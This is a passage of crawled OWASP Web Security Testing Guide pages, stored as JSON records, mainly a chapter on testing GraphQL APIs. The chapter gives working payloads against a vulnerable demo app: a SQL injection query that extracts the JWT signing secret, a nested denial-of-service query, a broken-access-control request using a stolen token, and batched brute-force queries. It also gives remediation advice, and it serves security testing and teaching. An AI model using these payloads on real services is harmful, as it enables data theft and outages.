\n...\n```\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10130, "slov": 1357, "odkazu": 186, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:30", "sha256": "e27021158ce28bd3a2b2a6cf0e3e0ca2f88fcb6ba46b78e2f1078b9a4dabd460", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc6454", "https://www.mbsd.jp/Whitepaper/xssi.pdf", "https://en.wikipedia.org/wiki/JSONP", "https://github.com/luh2/DetectDynamicJS", "https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf", "https://blog.jeremiahgrossman.com/2006/01/advanced-web-attack-techniques-using.html", "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors", "http://sebastian-lekies.de/leak/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/README", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "4.11 Client-Side Testing"}], "markdown": "# WSTG - Stable\n\n# 4.11 Client-Side Testing\n\n4.11.1 [Testing for DOM-Based Cross Site Scripting](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting)\n\n4.11.2 [Testing for JavaScript Execution](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/02-Testing_for_JavaScript_Execution)\n\n4.11.3 [Testing for HTML Injection](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/03-Testing_for_HTML_Injection)\n\n4.11.4 [Testing for Client-side URL Redirect](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Client-side_URL_Redirect)\n\n4.11.5 [Testing for CSS Injection](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/05-Testing_for_CSS_Injection)\n\n4.11.6 [Testing for Client-side Resource Manipulation](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/06-Testing_for_Client-side_Resource_Manipulation)\n\n4.11.7 [Testing Cross Origin Resource Sharing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing)\n\n4.11.8 [Testing for Cross Site Flashing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/08-Testing_for_Cross_Site_Flashing)\n\n4.11.9 [Testing for Clickjacking](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking)\n\n4.11.10 [Testing WebSockets](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets)\n\n4.11.11 [Testing Web Messaging](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/11-Testing_Web_Messaging)\n\n4.11.12 [Testing Browser Storage](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage)\n\n4.11.13 [Testing for Cross Site Script Inclusion](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2491, "slov": 199, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:57:34", "sha256": "05fab1bb877bdb0508623fabd42bdec4e2eb96eb0040eb304798904a878ea6c5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "4-Web Application Security Testing", "12-API Testing"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Testing GraphQL"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Introspection Queries"}, {"uroven": 4, "text": "Using Native GraphQL Introspection"}, {"uroven": 4, "text": "Using GraphiQL"}, {"uroven": 4, "text": "Using GraphQL Playground"}, {"uroven": 4, "text": "Introspection Conclusion"}, {"uroven": 3, "text": "Authorization"}, {"uroven": 3, "text": "Injection"}, {"uroven": 4, "text": "SQL Injection"}, {"uroven": 4, "text": "Cross-Site Scripting (XSS)"}, {"uroven": 3, "text": "Denial of Service (DoS) Queries"}, {"uroven": 3, "text": "Batching Attacks"}, {"uroven": 3, "text": "Detailed Error Message"}, {"uroven": 3, "text": "Exposure of Underlying API"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Stable\n\n# Testing GraphQL\n\n| ID |\n| --- |\n| WSTG-APIT-01 |\n\n## Summary\n\nGraphQL has become very popular in modern APIs. It provides simplicity and nested objects, which facilitate faster development. While every technology has advantages, it can also expose the application to new attack surfaces. The purpose of this scenario is to provide some common misconfigurations and attack vectors on applications that utilize GraphQL. Some vectors are unique to GraphQL (e.g. Introspection Query) and some are generic to APIs (e.g. SQL injection).\n\nExamples in this section will be based on a vulnerable GraphQL application [poc-graphql](https://github.com/righettod/poc-graphql), which is run in a docker container that maps `localhost:8080/GraphQL` as the vulnerable GraphQL node.\n\n## Test Objectives\n\n- Assess that a secure and production-ready configuration is deployed.\n- Validate all input fields against generic attacks.\n- Ensure that proper access controls are applied.\n\n## How to Test\n\nTesting GraphQL nodes is not very different than testing other API technologies. Consider the following steps:\n\n### Introspection Queries\n\nIntrospection queries are the method by which GraphQL lets you ask what queries are supported, which data types are available, and many more details you will need when approaching a test of a GraphQL deployment.\n\nThe [GraphQL website describes Introspection](https://graphql.org/learn/introspection/):\n\n> “It’s often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so using the introspection system!”\n\nThere are a couple of ways to extract this information and visualize the output, as follows.\n\n#### Using Native GraphQL Introspection\n\nThe most straightforward way is to send an HTTP request (using a personal proxy) with the following payload, taken from an article on [Medium](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696):\n\n```\nquery IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } } \n```\n\nThe result will usually be very long (and hence has been shortened here), and it will contain the entire schema of the GraphQL deployment.\n\nResponse:\n\n```\n{ \"data\": { \"__schema\": { \"queryType\": { \"name\": \"Query\" }, \"mutationType\": { \"name\": \"Mutation\" }, \"subscriptionType\": { \"name\": \"Subscription\" }, \"types\": [ { \"kind\": \"ENUM\", \"name\": \"__TypeKind\", \"description\": \"An enum describing what kind of type a given __Type is\", \"fields\": null, \"inputFields\": null, \"interfaces\": null, \"enumValues\": [ { \"name\": \"SCALAR\", \"description\": \"Indicates this type is a scalar.\", \"isDeprecated\": false, \"deprecationReason\": null }, { \"name\": \"OBJECT\", \"description\": \"Indicates this type is an object. `fields` and `interfaces` are valid fields.\", \"isDeprecated\": false, \"deprecationReason\": null }, { \"name\": \"INTERFACE\", \"description\": \"Indicates this type is an interface. `fields` and `possibleTypes` are valid fields.\", \"isDeprecated\": false, \"deprecationReason\": null }, { \"name\": \"UNION\", \"description\": \"Indicates this type is a union. `possibleTypes` is a valid field.\", \"isDeprecated\": false, \"deprecationReason\": null }, ], \"possibleTypes\": null } ] } } } \n```\n\nA tool such as [GraphQL Voyager](https://apis.guru/graphql-voyager/) can be used to get a better understanding of the GraphQL endpoint:\n\n*Figure 12.1-1: GraphQL Voyager*\n\nThis tool creates an Entity Relationship Diagram (ERD) representation of the GraphQL schema, allowing you to get a better look into the moving parts of the system you’re testing. Extracting information from the drawing allows you to see you can query the Dog table for example. It also shows which properties a Dog has:\n\n- ID\n- name\n- veterinary (ID)\n\nThere is one downside to using this method: GraphQL Voyager does not display everything that can be done with GraphQL. For example, the mutations available are not listed in the drawing above. A better strategy would be to use both Voyager and one of the methods listed below.\n\n#### Using GraphiQL\n\n[GraphiQL](https://github.com/graphql/graphiql) is a web-based IDE for GraphQL. It is part of the GraphQL project, and it is mainly used for debugging or development purposes. The best practice is to not allow users to access it on production deployments. If you are testing a staging environment, you might have access to it and can thus save some time when working with introspection queries (although you can, of course, use introspection in the GraphiQL interface).\n\nGraphiQL has a documentation section, which uses the data from the schema in order to create a document of the GraphQL instance that is being used. This document contains the data types, mutations, and basically every piece of information that can be extracted using introspection.\n\n#### Using GraphQL Playground\n\n[GraphQL Playground](https://github.com/graphql/graphql-playground) is a GraphQL client. It can be used to test different queries, as well as divide GraphQL IDEs into different playgrounds, and group them by theme or by assigning a name to them. Much like GraphiQL, Playground can create documentation for you without the need for manually sending introspection queries and processing the response(s). It has another great advantage: It doesn’t need the GraphiQL interface to be available. You can direct the tool to the GraphQL node via a URL, or use it locally with a data file. GraphQL Playground can be used to test for vulnerabilities directly, so you don’t need to use a personal proxy to send HTTP requests. This means you can use this tool for simple interaction with and assessment of GraphQL. For other more advanced payloads, use a personal proxy.\n\nNote that in some cases, you will need to set the HTTP headers at the bottom, to include session ID or other mechanism of authentication. This still allows creating multiple “IDEs” with different permissions to verify if there are in fact authorization issues.\n\n*Figure 12.1-2: GraphQL Playground High Level API Docs*\n\n*Figure 12.1-3: GraphQL Playground API Schema*\n\nYou can even download the schemas to use in Voyager.\n\n#### Introspection Conclusion\n\nIntrospection is a useful tool that allows users to gain more information about the GraphQL deployment. However, this will also allow malicious users to gain access to the same information. The best practice is to limit access to the introspection queries, since some tools or requests might fail if this feature is disabled altogether. As GraphQL usually bridges to the back end APIs of the system, it’s better to enforce strict access control.\n\n### Authorization\n\nIntrospection is the first place to look for authorization problems. As noted, access to introspection should be restricted as it allows for data extraction and data gathering. Once a tester has access to the schema and knowledge of the sensitive information there is to extract, they should then send queries that will not be blocked due to insufficient privileges. GraphQL does not enforce permissions by default, and so it is up to the application to perform authorization enforcement.\n\nIn the earlier examples, the output of the introspection query shows there is a query called `auth`. This seems like a good place to extract sensitive information such as API tokens, passwords, etc.\n\n*Figure 12.1-4: GraphQL Auth Query API*\n\nTesting the authorization implementation varies from deployment to deployment since each schema will have different sensitive information, and hence, different targets to focus on.\n\nIn this vulnerable example, every user (even unauthenticated) can gain access to the auth tokens of every veterinarian listed in the database. These tokens can be used to perform additional actions the schema allows, such as associating or disassociating a dog from any specified veterinarian using mutations, even if there is no matching auth token for the veterinarian in the request.\n\nHere is an example in which the tester uses an extracted token they do not own to perform an action as the veterinarian “Benoit”:\n\n```\nquery brokenAccessControl { myInfo(accessToken:\"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNjAzMjkxMDE2fQ.r3r0hRX_t7YLiZ2c2NronQ0eJp8fSs-sOUpLyK844ew\", veterinaryId: 2){ id, name, dogs { name } } } \n```\n\nAnd the response:\n\n```\n{ \"data\": { \"myInfo\": { \"id\": 2, \"name\": \"Benoit\", \"dogs\": [ { \"name\": \"Babou\" }, { \"name\": \"Baboune\" }, { \"name\": \"Babylon\" }, { \"name\": \"...\" } ] } } } \n```\n\nAll of the Dogs in the list belong to Benoit, and not to the auth token owner. It’s possible to perform this type of action when proper authorization enforcement is not implemented.\n\n### Injection\n\nGraphQL is the implementation of the API layer of an application, and as such, it usually forwards the requests to a back end API or the database directly. This allows you to utilize any underlying vulnerability such as SQL injection, command injection, cross-site scripting, etc. Using GraphQL just changes the entry point of the malicious payload.\n\nYou can refer to other scenarios within the OWASP testing guide to get some ideas.\n\nGraphQL also has scalars, which are usually used for custom data types that do not have native data types, such as DateTime. These types of data do not have out-of-the-box validation, making them good candidates for testing.\n\n#### SQL Injection\n\nThe example application is vulnerable by design in the query `dogs(namePrefix: String, limit: Int = 500): [Dog!]` since the parameter `namePrefix` is concatenated in the SQL query. Concatenating user input is a common malpractice of applications that can expose them to SQL injection.\n\nThe following query extracts information from the `CONFIG` table within the database:\n\n```\nquery sqli { dogs(namePrefix: \"ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- \", limit: 1000) { id name } } \n```\n\nThe response to this query is:\n\n```\n{ \"data\": { \"dogs\": [ { \"id\": 1, \"name\": \"Abi\" }, { \"id\": 2, \"name\": \"Abime\" }, { \"id\": 3, \"name\": \"...\" }, { \"id\": 50, \"name\": \"$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^\" } ] } } \n```\n\nThe query contains the secret that signs JWTs in the example application, which is very sensitive information.\n\nIn order to know what to look for in any particular application, it will be helpful to collect information about how the application is built and how the database tables are organized. You can also use tools like `sqlmap` to look for injection paths and even automate the extraction of data from the database.\n\n#### Cross-Site Scripting (XSS)\n\nCross-site scripting occurs when an attacker injects executable code that is subsequently run by the browser. Learn about tests for XSS in the [Input Validation](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README) chapter. You may test for reflected XSS using a payload from [Testing for Reflected Cross Site Scripting](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting).\n\nIn this example, errors might reflect the input and could cause XSS to occur.\n\nPayload:\n\n```\nquery xss { myInfo(veterinaryId:\"\" ,accessToken:\"\") { id name } } \n```\n\nResponse:\n\n```\n{ \"data\": null, \"errors\": [ { \"message\": \"Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'\", \"locations\": [ { \"line\": 2, \"column\": 10, \"sourceName\": null } ], \"description\": \"argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'\", \"validationErrorType\": \"WrongType\", \"queryPath\": [ \"myInfo\" ], \"errorType\": \"ValidationError\", \"extensions\": null, \"path\": null } ] } \n```\n\n### Denial of Service (DoS) Queries\n\nGraphQL exposes a very simple interface to allow developers to use nested queries and nested objects. This ability can also be used in a malicious way, by calling a deep nested query similar to a recursive function and causing a denial of service by using up CPU, memory, or other compute resources.\n\nLooking back at *Figure 12.1-1*, you can see that it is possible to create a loop where a Dog object contains a Veterinary object. There could be an endless amount of nested objects.\n\nThis allows for a deep query which has the potential to overload the application:\n\n```\nquery dos { allDogs(onlyFree: false, limit: 1000000) { id name veterinary { id name dogs { id name veterinary { id name dogs { id name veterinary { id name dogs { id name veterinary { id name dogs { id name veterinary { id name dogs { id name } } } } } } } } } } } } \n```\n\nThere are multiple security measures that can be implemented to prevent these types of queries, listed in the Remediation section. Abusive queries can cause issues like DoS for GraphQL deployments and should be included in testing.\n\n### Batching Attacks\n\nGraphQL supports batching of multiple queries into a single request. This allows users to request multiple objects or multiple instances of objects efficiently. However, an attacker can utilize this functionality in order to perform a batching attack. Sending more than a single query in one request looks like the following:\n\n```\n[ { query: < query 0 >, variables: < variables for query 0 >, }, { query: < query 1 >, variables: < variables for query 1 >, }, { query: < query n > variables: < variables for query n >, } ] \n```\n\nIn the example application, a single request can be sent in order to extract all of the veterinary names using the guessable ID (it’s an increasing integer). An attacker can then utilize the names in order to get access tokens. Instead of doing so in many requests, which might be blocked by a network security measure like a web application firewall or a rate limiter like Nginx, these requests may be batched. This means there would only be a couple of requests, which may allow for efficient brute forcing without being detected. Here is an example query:\n\n```\nquery { Veterinary(id: \"1\") { name } second:Veterinary(id: \"2\") { name } third:Veterinary(id: \"3\") { name } } \n```\n\nThis will provide the attacker with the names of the veterinaries and, as shown before, the names can be used to batch multiple queries requesting the auth tokens of those veterinaries. For example:\n\n```\nquery { auth(veterinaryName: \"Julien\") second: auth(veterinaryName:\"Benoit\") } \n```\n\nBatching attacks can be used to bypass many security measures enforced on websites. It can also be used to enumerate objects and attempt to brute force multi-factor authentication or other sensitive information.\n\n### Detailed Error Message\n\nGraphQL can encounter unexpected errors during runtime. When such an error occurs, the server may send an error response that may reveal internal error details or application configurations or data. This allows a malicious user to acquire more information about the application. As part of testing, error messages should be checked by sending unexpected data, a process known as fuzzing. The responses should be searched for potentially sensitive information that may be revealed using this technique.\n\n### Exposure of Underlying API\n\nGraphQL is a relatively new technology, and some applications are transitioning from old APIs to GraphQL. In many cases, GraphQL is deployed as a standard API which translates requests (sent using GraphQL syntax) to an underlying API, as well as the responses. If requests to the underlying API are not properly checked for authorization, it could lead to a possible escalation of privileges.\n\nFor example, a request containing the parameter `id=1/delete` might be interpreted as `/api/users/1/delete`. This could extend to the manipulation of other resources belonging to `user=1`. It is also possible that the request is interpreted to have the authorization given to the GraphQL node, instead of the true requester.\n\nA tester should try and gain access to underlying API methods as it may be possible to escalate privileges.\n\n## Remediation\n\n- Restrict access to introspection queries.\n- Implement input validation.\n - GraphQL does not have a native way to validate input, however, there is an open source project called [“graphql-constraint-directive”](https://github.com/confuser/graphql-constraint-directive) which allows for input validation as part of the schema definition.\n - Input validation alone is helpful, but it is not a complete solution and additional measures should be taken to mitigate injection attacks.\n- Implement security measures to prevent abusive queries.\n - Timeouts: restrict the amount of time that a query is permitted to run.\n - Maximum query depth: limit the depth of allowed queries, which may prevent queries that are too deep from abusing resources.\n - Set maximum query complexity: limit the complexity of queries to mitigate the abuse of GraphQL resources.\n - Use server-time-based throttling: limit the amount of server time a user can consume.\n - Use query-complexity-based throttling: limit the total complexity of queries a user can consume.\n- Send generic error messages: use generic error messages that do not reveal details of the deployment.\n- Mitigate batching attacks:\n - Add object request rate limiting in code.\n - Prevent batching for sensitive objects.\n - Limit the number of queries that can run at one time.\n\nFor more on remediating GraphQL weaknesses, refer to the [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html).\n\n## Tools\n\n- [GraphQL Playground](https://github.com/prisma-labs/graphql-playground)\n- [GraphQL Voyager](https://apis.guru/graphql-voyager/)\n- [sqlmap](https://github.com/sqlmapproject/sqlmap)\n- [InQL (Burp Extension)](https://portswigger.net/bappstore/296e9a0730384be4b2fffef7b4e19b1f)\n- [GraphQL Raider (Burp Extension)](https://portswigger.net/bappstore/4841f0d78a554ca381c65b26d48207e6)\n- [GraphQL (Add-on for OWASP ZAP)](https://www.zaproxy.org/blog/2020-08-28-introducing-the-graphql-add-on-for-zap/)\n\n## References\n\n- [poc-graphql](https://github.com/righettod/poc-graphql)\n- [GraphQL Official Site](https://graphql.org/learn/)\n- [Howtographql - Security](https://www.howtographql.com/advanced/4-security/)\n- [GraphQL Constraint Directive](https://github.com/confuser/graphql-constraint-directive)\n- [Client-side Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/README) (XSS and other vulnerabilities)\n- [5 Common GraphQL Security Vulnerabilities](https://carvesystems.com/news/the-5-most-common-graphql-security-vulnerabilities/)\n- [GraphQL common vulnerabilities and how to exploit them](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)\n- [GraphQL CS](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 19521, "slov": 2873, "odkazu": 197, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:32", "sha256": "84ce4e01fe307539e3558218aea9331ef472247636adc59a028c1888df463c46", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/righettod/poc-graphql", "https://graphql.org/learn/introspection/", "https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696", "https://apis.guru/graphql-voyager/", "https://github.com/graphql/graphiql", "https://github.com/graphql/graphql-playground", "https://github.com/confuser/graphql-constraint-directive", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://github.com/prisma-labs/graphql-playground", "https://github.com/sqlmapproject/sqlmap", "https://portswigger.net/bappstore/296e9a0730384be4b2fffef7b4e19b1f", "https://portswigger.net/bappstore/4841f0d78a554ca381c65b26d48207e6", "https://www.zaproxy.org/blog/2020-08-28-introducing-the-graphql-add-on-for-zap/", "https://graphql.org/learn/", "https://www.howtographql.com/advanced/4-security/", "https://carvesystems.com/news/the-5-most-common-graphql-security-vulnerabilities/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/12-API_Testing/README", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/12-API_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/12-API_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "4-Web Application Security Testing", "12-API Testing"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "4.12 API Testing"}], "markdown": "# WSTG - Stable\n\n# 4.12 API Testing\n\n4.12.1 [Testing GraphQL](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 263, "slov": 18, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:31", "sha256": "71d1bcf4e18f7380efd1abfbc448ed52bb4fb3e55e95442b5b98bbb927224e82", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/5-Reporting/README", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/5-Reporting/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/5-Reporting/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "5-Reporting"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Reporting"}, {"uroven": 2, "text": "About this Section"}, {"uroven": 2, "text": "1. Introduction"}, {"uroven": 3, "text": "1.1 Version Control"}, {"uroven": 3, "text": "1.2 Table of Contents"}, {"uroven": 3, "text": "1.3 The Team"}, {"uroven": 3, "text": "1.4 Scope"}, {"uroven": 3, "text": "1.5 Limitations"}, {"uroven": 3, "text": "1.6 Timeline"}, {"uroven": 3, "text": "1.7 Disclaimer"}, {"uroven": 2, "text": "2. Executive Summary"}, {"uroven": 2, "text": "3. Findings"}, {"uroven": 3, "text": "3.1 Findings Summary"}, {"uroven": 3, "text": "3.2 Findings Details"}, {"uroven": 2, "text": "Appendices"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Stable\n\n# Reporting\n\nPerforming the technical side of the assessment is only half of the overall assessment process. The final product is the production of a well written and informative report. A report should be easy to understand and should highlight all the risks found during the assessment phase. The report should appeal to both executive management and technical staff.\n\n## About this Section\n\nThis guide provides only suggestions about one possible approach to reporting, and should not be treated as as strict rules that must be followed. When considering any of the recommendations below, always ask yourself whether the recommendation would improve your report.\n\nThis guide to reporting is a best fit for consultancy-based reports. It may be overkill for internal or bug bounty reports.\n\nRegardless of the audience, it’s advisable to secure the report and encrypt it to ensure that only the receiving party is able to use it.\n\nA good report helps your client understand your findings and highlights the quality of your technical testing. The quality of the technical testing is completely irrelevant if the client can’t understand your findings.\n\n## 1. Introduction\n\n### 1.1 Version Control\n\nSets report changes, mostly presented in a table format such as the below.\n\n| Version | Description | Date | Author |\n| --- | --- | --- | --- |\n| 1.0 | Initial report | DD/MM/YYYY | J. Doe |\n\n### 1.2 Table of Contents\n\nA table of contents page for the document.\n\n### 1.3 The Team\n\nA list of the team members detailing their expertise and qualifications.\n\n### 1.4 Scope\n\nThe boundaries and the needs of the engagement agreed upon with the organization.\n\n### 1.5 Limitations\n\nLimitations can be:\n\n- Out-of-bounds areas in relation to testing.\n- Broken functionality.\n- Lack of cooperation.\n- Lack of time.\n- Lack of access or credentials.\n\n### 1.6 Timeline\n\nThe duration of the engagement.\n\n### 1.7 Disclaimer\n\nYou may wish to provide a disclaimer for your service. Always consult a legal professional in order to create a legally-binding document.\n\nThe following example is for illustrative purposes only. It should not be used as-is and does not constitute legal advice.\n\n*This test is a “point in time” assessment and as such the environment could have changed since the test was run. There is no guarantee that all possible security issues have been identified, and that new vulnerabilities may have been discovered since the tests were run. As such, this report serves as a guiding document and not a warranty that the report provides a full representation of the risks threatening the systems at hand.*\n\n## 2. Executive 